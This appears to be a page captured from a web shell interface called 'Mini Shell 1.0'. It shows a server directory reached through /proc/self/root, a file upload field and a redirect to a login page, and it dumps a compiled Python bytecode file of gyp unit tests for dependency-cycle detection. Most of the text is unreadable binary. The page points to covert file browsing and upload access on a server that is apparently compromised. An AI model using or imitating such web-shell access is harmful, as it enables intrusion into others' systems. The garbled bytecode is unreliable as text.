HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/gyp/__pycache__/input_test.cpython-311.pyc
�

�"Kb{��v�dZddlZddlZddlZGd�dej��Zedkrej��dSdS)z!Unit tests for the input.py file.�Nc�D�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
S)�TestFindCyclesc�l�i|_dD])}tj�|��|j|<�*dS)N)�a�b�c�d�e)�nodes�gyp�input�DependencyGraphNode)�self�xs  �0/usr/lib/python3/dist-packages/gyp/input_test.py�setUpzTestFindCycles.setUps?���D�J�
&�7�7���i�3�3�A�6�6�d�j��m�m�7�7�c�n�|j�|��|j�|��dS�N)�dependencies�append�
dependents)r�	dependent�
dependencys   r�_create_dependencyz!TestFindCycles._create_dependencys6��
��!�!�*�-�-�-��� � ��+�+�+�+�+rc��|j���D]-\}}|�g|������.dSr)r�items�assertEquals�
FindCycles�r�label�nodes   r�test_no_cycle_empty_graphz(TestFindCycles.test_no_cycle_empty_graphsP���z�'�'�)�)�/�/���t�
����D�O�O�-�-�.�.�.�.�/�/rc��|�|jd|jd��|�|jd|jd��|�|jd|jd��|j���D]-\}}|�g|������.dS)Nrrrr	�rrrrrr s   r�test_no_cycle_linez!TestFindCycles.test_no_cycle_line������D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=��z�'�'�)�)�/�/���t�
����D�O�O�-�-�.�.�.�.�/�/rc��|�|jd|jd��|�|jd|jd��|�|jd|jd��|j���D]-\}}|�g|������.dS)Nrrrr%r s   r�test_no_cycle_dagz TestFindCycles.test_no_cycle_dag$r'rc��|�|jd|jd��|�|jd|jdgg|jd�����dS)Nr�rrrr�rs r�test_cycle_self_referencez(TestFindCycles.test_cycle_self_reference,sq�����D�J�s�O�T�Z��_�=�=�=�����
�3����C��9�:��j��o�0�0�2�2�4�4�4�4�4rc��|�|jd|jd��|�|jd|jd��|�|jd|jd|jdgg|jd�����|�|jd|jd|jdgg|jd�����dS)Nrrr+r,s r�test_cycle_two_nodesz#TestFindCycles.test_cycle_two_nodes2s������D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=�����
�3����C��$�*�S�/�J�K��j��o�0�0�2�2�4�4�4�����
�3����C��$�*�S�/�J�K��j��o�0�0�2�2�4�4�4�4�4rc���|�|jd|jd��|�|jd|jd��|�|jd|jd��|�|jd|jd��|jd���}|�|jd|jd|jdg|v��|�|jd|jd|jdg|v��|�dt|����dS)Nrrr�)rrr�
assertTruer�len)r�cycless  r�test_two_cycleszTestFindCycles.test_two_cycles;s7�����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=�
�Z��_�
'�
'�
)�
)�F��O�O��
�3����C��$�*�S�/�:�f�D�F�F�F��O�O��
�3����C��$�*�S�/�:�f�D�F�F�F����a��V���%�%�%�%�%rc	��|�|jd|jd��|�|jd|jd��|�|jd|jd��|�|jd|jd��|�|jd|jd��|�|jd|jd|jd|jd|jd|jdgg|jd�����dS)Nrrrr	r
r+r,s r�test_big_cyclezTestFindCycles.test_big_cycleIs$�����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=����D�J�s�O�T�Z��_�=�=�=�����
�3���
�3���
�3���
�3���
�3���
�3��)�*��j��o�0�0�2�2�
4�4�4�4�4rN)�__name__�
__module__�__qualname__rrr#r&r)r-r/r5r7�rrrrs�������7�7�7�
,�,�,�/�/�/�/�/�/�/�/�/�4�4�4�4�4�4�&�&�&�
4�
4�
4�
4�
4rr�__main__)	�__doc__�	gyp.inputr�unittest�sys�TestCaserr8�mainr;rr�<module>rCs���(�'���������
�
�
�
�H4�H4�H4�H4�H4�X�&�H4�H4�H4�V�z����(�-�/�/�/�/�/��r